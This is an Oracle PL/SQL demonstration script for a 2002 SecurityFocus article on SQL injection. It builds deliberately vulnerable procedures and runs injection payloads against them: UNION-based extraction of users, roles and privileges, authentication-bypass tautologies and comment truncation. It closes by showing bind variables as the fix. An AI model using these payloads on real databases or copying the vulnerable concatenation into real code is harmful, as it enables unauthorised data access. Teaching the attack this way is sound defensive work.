Download SQL script
sqlinject.sql
--
-- sqlinject.sql
-- Pete Finnigan
-- 15-nov-2002
--
-- example code for the SQL injection article for www.securityfocus.com
--
set serveroutput on size 1000000
spool sqlinject.lis
--
-- use a default user dbsnmp, of course any other user can be used, this user
-- is used here for simplicity to avoid creating a user. In a production system
-- first of all do not run tests like this one and do not use DBSNMP.
--
--connect dbsnmp/dbsnmp
--
-- create a sample table to use in the examples
--
drop table customers;
create table customers
(
customer_forname varchar2(30),
customer_surname varchar2(30),
customer_phone varchar2(30),
customer_fax varchar2(30),
customer_type number(10)
)
tablespace users;
--
-- insert three records to test with
--
insert into customers
(
customer_forname,
customer_surname,
customer_phone,
customer_fax,
customer_type
)
values
(
'Fred',
'Clark',
'999444888',
'999444889',
3
)
/
insert into customers
(
customer_forname,
customer_surname,
customer_phone,
customer_fax,
customer_type
)
values
(
'Bill',
'Jones',
'999555888',
'999555889',
2
)
/
insert into customers
(
customer_forname,
customer_surname,
customer_phone,
customer_fax,
customer_type
)
values
(
'Jim',
'Clark',
'999777888',
'999777889',
1
)
/
--
-- create a sample PL/SQL procedure to SQL Inject
--
create or replace procedure get_cust (pv_surname in varchar2)
is
type cv_typ is ref cursor;
cv cv_typ;
lv_phone customers.customer_phone%type;
lv_stmt varchar2(32767):='select customer_phone'||
' from customers '||
'where customer_surname='''||
pv_surname||'''';
begin
dbms_output.put_line('debug:'||lv_stmt);
open cv for lv_stmt;
loop
fetch cv into lv_phone;
exit when cv%notfound;
dbms_output.put_line('::'||lv_phone);
end loop;
close cv;
exception
when others then
dbms_output.put_line(sqlcode||sqlerrm);
end get_cust;
/
sho err
--
-- run the first test to see if a second SQL statement can simply be added to
-- the first.
--
exec get_cust('x'' select username from all_users where ''x''=''x');
--
-- try adding a ";" to delimit two SQL statements
--
exec get_cust('x'';select username from all_users where ''x''=''x');
--
-- now try a UNION, this should work
--
exec get_cust('x'' union select username from all_users where ''x''=''x');
--
-- try using a sub select to prove that it works
--
exec get_cust('x'' or exists (select 1 from sys.dual) and ''x''=''x');
--
-- now add an "or" to show how existing SQL statements can be truncated to return
-- all of the records in a table - this is usefull for tricking application authentication.
--
exec get_cust('x'' or ''x''=''x');
--
-- modify the procedure to extend the dynamic SQL so that we can show how to truncate
-- additional parts of a "where clause".
--
create or replace procedure get_cust2 (lv_surname in varchar2)
is
type cv_typ is ref cursor;
cv cv_typ;
lv_phone customers.customer_phone%type;
lv_stmt varchar2(32767):='select customer_phone '||
'from customers '||
'where customer_surname='''||
lv_surname||''' and customer_type=1';
begin
dbms_output.put_line('debug:'||lv_stmt);
open cv for lv_stmt;
loop
fetch cv into lv_phone;
exit when cv%notfound;
dbms_output.put_line('::'||lv_phone);
end loop;
close cv;
exception
when others then
dbms_output.put_line(sqlcode||sqlerrm);
end get_cust2;
/
--
-- demonstration of using "--" comment characters to truncate a "where clause".
--
exec get_cust2('x'' or ''x''=''x'' --');
--
-- SQL to find all of the PL/SQL in the database
--
col owner for a15
col object_type for a30
col object_name for a30
select owner,object_type,object_name
from dba_objects
where object_type in('PACKAGE','FUNCTION','PROCEDURE');
--
-- demonstration of calling a "built in" PL/SQL procedure
--
exec get_cust('x'' union select sys.login_user from sys.dual where ''x''=''x');
--
-- demonstration of getting data from a second database using a database link.
-- This won't work on your system unless by some strange coincidence you have
-- a database link with the same name as mine. Change the link name to one
-- that exists in your database.
--
exec get_cust('x'' union select to_char(sysdate) from sys.dual@plsq where ''x''=''x');
--
-- modify the get_cust procedure to select three columns so that we can demonstrate
-- how to get configuration data from the database.
--
create or replace procedure get_cust (pv_surname in varchar2)
is
type cv_typ is ref cursor;
cv cv_typ;
lv_phone customers.customer_phone%type;
lv_forname customers.customer_forname%type;
lv_surname customers.customer_surname%type;
lv_stmt varchar2(32767):='select customer_phone'||
',customer_forname,customer_surname '||
'from customers '||
'where customer_surname='''||
pv_surname||'''';
begin
dbms_output.put_line('debug:'||lv_stmt);
open cv for lv_stmt;
loop
fetch cv into lv_phone,lv_forname,lv_surname;
exit when cv%notfound;
dbms_output.put_line('::'||lv_phone||':'||lv_forname||':'||lv_surname);
end loop;
close cv;
exception
when others then
dbms_output.put_line(sqlcode||sqlerrm);
end get_cust;
/
sho err
--
-- sho that an error is returned if incorrect column types or an incorrect
-- number of columns is sent as part of a union statement
--
exec get_cust('x'' union select 1,''Y'' from sys.dual where ''x''=''x');
--
-- get all of the objects the user we are logged in as has been granted
-- specific access to.
--
exec get_cust('x'' union select object_name,object_type,''x'' from user_objects where ''x''=''x');
--
-- get directly granted roles to this user.
--
exec get_cust('x'' union select granted_role,admin_option,default_role from user_role_privs where ''x''=''x');
--
-- get directly granted system privileges
--
exec get_cust('x'' union select privilege,admin_option,''X'' from user_sys_privs where ''x''=''x');
--
-- query to get all objects and their types that this user can see.
--
select count(*),object_type,owner
from all_objects
group by object_type,owner
/
--
-- modify the procedure to use bind variables to demonstarte that they can
-- be used to protect against SQL Injection.
--
create or replace procedure get_cust_bind (lv_surname in varchar2)
is
type cv_typ is ref cursor;
cv cv_typ;
lv_phone customers.customer_phone%type;
lv_stmt varchar2(32767):='select customer_phone '||
'from customers '||
'where customer_surname=:surname';
begin
dbms_output.put_line('debug:'||lv_stmt);
open cv for lv_stmt using lv_surname;
loop
fetch cv into lv_phone;
exit when cv%notfound;
dbms_output.put_line('::'||lv_phone);
end loop;
close cv;
exception
when others then
dbms_output.put_line(sqlcode||sqlerrm);
end get_cust_bind;
/
sho err
--
-- demonstrate binds
--
exec get_cust_bind('Clark');
exec get_cust_bind('x'' union select username from all_users where ''x''=''x');
spool off